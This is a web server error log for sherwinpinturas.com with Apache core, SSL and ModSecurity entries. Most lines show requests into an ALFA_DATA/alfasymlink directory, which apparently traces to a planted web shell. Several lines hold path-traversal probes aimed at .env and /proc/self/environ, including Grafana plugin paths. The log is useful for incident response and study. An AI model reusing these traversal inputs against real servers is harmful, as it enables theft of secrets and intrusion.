[Sun Oct 25 19:24:18.264601 2026] [ssl:error] [pid 2919328:tid 2919328] (70014)End of file found: [client 100.29.107.38:3587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:32.749641 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 185.191.171.2:60330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/free_calls
[Sun Oct 25 19:24:34.221262 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 52.6.5.24:7587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:37.545384 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 85.208.96.197:35304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/slab_common/parameters/usercopy_fallback
[Sun Oct 25 19:24:42.315282 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 89.37.66.98:58884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/shrink
[Sun Oct 25 19:24:42.366331 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 34.226.89.140:11252] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input5/device/driver/pcspkr/subsystem/drivers/usb-conn-gpio/bind
[Sun Oct 25 19:24:43.085848 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 68.173.181.9:52691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/hwcache_align
[Sun Oct 25 19:24:43.954512 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 184.187.161.126:51443] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/shrink
[Sun Oct 25 19:24:44.299548 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 200.95.210.98:43692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/alloc_calls
[Sun Oct 25 19:24:45.364535 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 73.163.139.101:59063] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/shrink
[Sun Oct 25 19:24:46.219349 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 187.40.234.219:12052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/alloc_calls
[Sun Oct 25 19:24:47.257415 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 54.197.178.107:52032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:48.105586 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 97.147.1.3:44999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/alloc_calls
[Sun Oct 25 19:24:50.323652 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 18.214.238.178:26186] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:54.354803 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 34.234.206.30:16141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:24:55.499324 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 41.215.88.195:58102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objects_partial
[Sun Oct 25 19:24:58.012420 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 186.77.137.85:31703] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objects_partial
[Sun Oct 25 19:25:00.475603 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 181.79.87.86:55384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objects_partial
[Sun Oct 25 19:25:06.348804 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 52.203.152.231:10248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:25:10.312038 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 52.203.152.231:38183] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:25:13.900054 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 85.208.96.203:61796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/slab_size
[Sun Oct 25 19:25:15.391768 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 54.85.7.119:6352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:25:15.394310 2026] [ssl:error] [pid 2919328:tid 2919328] (70014)End of file found: [client 85.208.96.208:28894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:25:17.296805 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 209.46.1.64:6652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/hwcache_align
[Sun Oct 25 19:25:19.610721 2026] [core:error] [pid 2921098:tid 2921098] (13)Permission denied: [client 189.127.145.145:40670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/hwcache_align
[Sun Oct 25 19:25:21.409050 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 38.166.245.95:32802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/hwcache_align
[Sun Oct 25 19:25:22.536039 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 185.191.171.9:28348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/ctor
[Sun Oct 25 19:25:26.376203 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 184.73.195.18:37104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:25:47.077696 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 68.119.251.123:50875] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/sanity_checks
[Sun Oct 25 19:25:48.746366 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 212.102.44.94:43240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/sanity_checks
[Sun Oct 25 19:25:50.748047 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 190.122.223.20:57226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/sanity_checks
[Sun Oct 25 19:26:06.215557 2026] [ssl:error] [pid 2916958:tid 2916958] (70014)End of file found: [client 34.196.237.236:46753] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:26:10.363183 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 18.215.49.176:11325] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/ttyS2/device/driver/unbind
[Sun Oct 25 19:26:15.875599 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 116.101.17.236:40206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/validate
[Sun Oct 25 19:26:17.282182 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 98.117.214.166:39034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/validate
[Sun Oct 25 19:26:20.475924 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 181.78.197.60:48060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/validate
[Sun Oct 25 19:26:50.232530 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.84.147.79:10601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:26:58.710023 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 3.223.181.32:32391] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/hpet/unbind
[Sun Oct 25 19:27:02.484701 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 18.210.58.238:8555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:04.226205 2026] [security2:error] [pid 2918165:tid 2918165] [client 107.172.76.131:49153] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6QOfATP-3Vm_mqY2R7DgAAAAI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 19:27:04.226277 2026] [security2:error] [pid 2918165:tid 2918165] [client 107.172.76.131:49153] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6QOfATP-3Vm_mqY2R7DgAAAAI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 19:27:10.388734 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 23.22.59.87:33918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:14.512833 2026] [core:error] [pid 2916958:tid 2916958] (13)Permission denied: [client 100.29.63.24:57934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/rom
[Sun Oct 25 19:27:18.371443 2026] [ssl:error] [pid 2918227:tid 2918227] (70014)End of file found: [client 35.168.238.50:2325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:22.242130 2026] [ssl:error] [pid 2919328:tid 2919328] (70014)End of file found: [client 34.227.234.246:64661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:23.059361 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 185.191.171.14:47840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/usersize
[Sun Oct 25 19:27:26.221455 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 100.29.107.38:23875] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:34.225555 2026] [core:error] [pid 2918227:tid 2918227] (13)Permission denied: [client 52.204.71.8:28527] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/bind
[Sun Oct 25 19:27:34.226018 2026] [security2:error] [pid 2918227:tid 2918227] [client 52.204.71.8:28527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/bind"] [unique_id "at6QZrfKWbcDGLleCcVkdQAAAAc"]
[Sun Oct 25 19:27:34.226050 2026] [security2:error] [pid 2918227:tid 2918227] [client 52.204.71.8:28527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/bind"] [unique_id "at6QZrfKWbcDGLleCcVkdQAAAAc"]
[Sun Oct 25 19:27:36.262732 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 168.182.71.22:56390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_slabs
[Sun Oct 25 19:27:37.643685 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 173.181.58.3:53153] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_slabs
[Sun Oct 25 19:27:38.815728 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 18.211.148.239:20139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:39.206513 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 187.190.51.68:55921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/cpu_slabs
[Sun Oct 25 19:27:40.589288 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 84.82.244.85:44246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/alloc_calls
[Sun Oct 25 19:27:44.743954 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 179.221.201.39:42308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/alloc_calls
[Sun Oct 25 19:27:46.095055 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 73.9.129.237:46117] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/alloc_calls
[Sun Oct 25 19:27:46.237892 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 107.20.25.33:59320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:27:58.230414 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 35.172.125.172:40937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/ext4_inode_cache/shrink
[Sun Oct 25 19:28:10.247137 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 44.215.61.66:22259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:28:14.891877 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 52.21.62.139:64500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/module/sb_edac/sections/__mcount_loc
[Sun Oct 25 19:28:25.195601 2026] [core:error] [pid 2922276:tid 2922276] [client 35.234.1.167:57032] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 19:28:25.342782 2026] [core:error] [pid 2922266:tid 2922266] [client 35.234.1.167:56946] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 19:28:26.320340 2026] [core:error] [pid 2918422:tid 2918422] [client 35.234.1.167:40440] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 19:28:27.445397 2026] [core:error] [pid 2922285:tid 2922285] [client 35.234.1.167:57028] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 19:28:27.505849 2026] [core:error] [pid 2917409:tid 2917409] [client 35.234.1.167:40404] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 19:28:53.916899 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 85.208.96.210:49338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/poison
[Sun Oct 25 19:28:55.718136 2026] [core:error] [pid 2922288:tid 2922288] (13)Permission denied: [client 188.253.220.36:8355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objs_per_slab
[Sun Oct 25 19:28:57.383262 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 73.110.255.208:59683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objs_per_slab
[Sun Oct 25 19:28:58.280624 2026] [security2:error] [pid 2922286:tid 2922286] [client 34.225.138.57:11382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/mice/subsystem/event4/device/device/driver/module/drivers/platform:pcspkr/pcspkr/power/"] [unique_id "at6QuiML9QMr9_Qxg78JJwAAABM"]
[Sun Oct 25 19:28:58.280665 2026] [security2:error] [pid 2922286:tid 2922286] [client 34.225.138.57:11382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/mice/subsystem/event4/device/device/driver/module/drivers/platform:pcspkr/pcspkr/power/"] [unique_id "at6QuiML9QMr9_Qxg78JJwAAABM"]
[Sun Oct 25 19:28:58.951502 2026] [core:error] [pid 2922287:tid 2922287] (13)Permission denied: [client 93.19.200.214:39428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objs_per_slab
[Sun Oct 25 19:29:02.477269 2026] [core:error] [pid 2918227:tid 2918227] (13)Permission denied: [client 85.208.96.197:10944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/slabs_cpu_partial
[Sun Oct 25 19:29:11.701148 2026] [core:error] [pid 2918165:tid 2918165] (13)Permission denied: [client 103.112.204.61:40154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/hwcache_align
[Sun Oct 25 19:29:13.441012 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 73.134.217.179:36151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/hwcache_align
[Sun Oct 25 19:29:16.715330 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 181.78.196.97:45849] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/hwcache_align
[Sun Oct 25 19:29:34.509884 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 44.212.145.46:35995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:29:56.622750 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 185.191.171.9:38744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/slabs_cpu_partial
[Sun Oct 25 19:30:02.244692 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.236.135.14:56836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:30:14.210834 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 34.197.28.78:34650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:30:18.266959 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.231.45.47:51110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:30:22.228514 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 52.202.52.82:23083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:30:26.238719 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 35.171.117.160:47510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:30:34.253339 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 18.207.89.138:34432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/firmware_node/subsystem/uevent
[Sun Oct 25 19:30:35.412836 2026] [security2:error] [pid 2921032:tid 2921032] [client 16.216.88.128:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/095_mod_authz_host.conf"] [unique_id "at6RG5XQCBV6MKl34myJnQAAAAk"]
[Sun Oct 25 19:30:35.413344 2026] [security2:error] [pid 2921032:tid 2921032] [client 16.216.88.128:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/095_mod_authz_host.conf"] [unique_id "at6RG5XQCBV6MKl34myJnQAAAAk"]
[Sun Oct 25 19:30:35.413713 2026] [security2:error] [pid 2921032:tid 2921032] [client 16.216.88.128:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/095_mod_authz_host.conf"] [unique_id "at6RG5XQCBV6MKl34myJnQAAAAk"]
[Sun Oct 25 19:30:50.227927 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.7.13.143:26385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:31:10.167652 2026] [ssl:error] [pid 2921098:tid 2921098] (70014)End of file found: [client 54.144.185.255:59837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:31:14.189017 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 18.214.251.19:2367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:31:23.131053 2026] [security2:error] [pid 2921098:tid 2921098] [client 185.191.171.9:32508] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/logrotate.conf"] [unique_id "at6RS6s_5solHzMTVbXiZgAAAAo"]
[Sun Oct 25 19:31:23.131417 2026] [security2:error] [pid 2921098:tid 2921098] [client 185.191.171.9:32508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/logrotate.conf"] [unique_id "at6RS6s_5solHzMTVbXiZgAAAAo"]
[Sun Oct 25 19:31:23.131727 2026] [security2:error] [pid 2921098:tid 2921098] [client 185.191.171.9:32508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/logrotate.conf"] [unique_id "at6RS6s_5solHzMTVbXiZgAAAAo"]
[Sun Oct 25 19:31:34.165119 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 52.205.222.214:64755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:31:42.332377 2026] [ssl:error] [pid 2922325:tid 2922325] (70014)End of file found: [client 18.205.127.11:35988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:31:50.156642 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 98.83.72.38:64638] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:31:54.662042 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 85.208.96.210:56366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/poison
[Sun Oct 25 19:32:02.188971 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 54.156.248.117:28683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:10.330174 2026] [ssl:error] [pid 2921098:tid 2921098] (70014)End of file found: [client 44.220.2.97:35697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:14.194671 2026] [ssl:error] [pid 2918165:tid 2918165] (70014)End of file found: [client 44.205.192.249:44801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:18.258692 2026] [ssl:error] [pid 2922630:tid 2922630] (5)Input/output error: [client 44.205.120.22:40478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:20.210897 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 85.208.96.207:43920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/remote_node_defrag_ratio
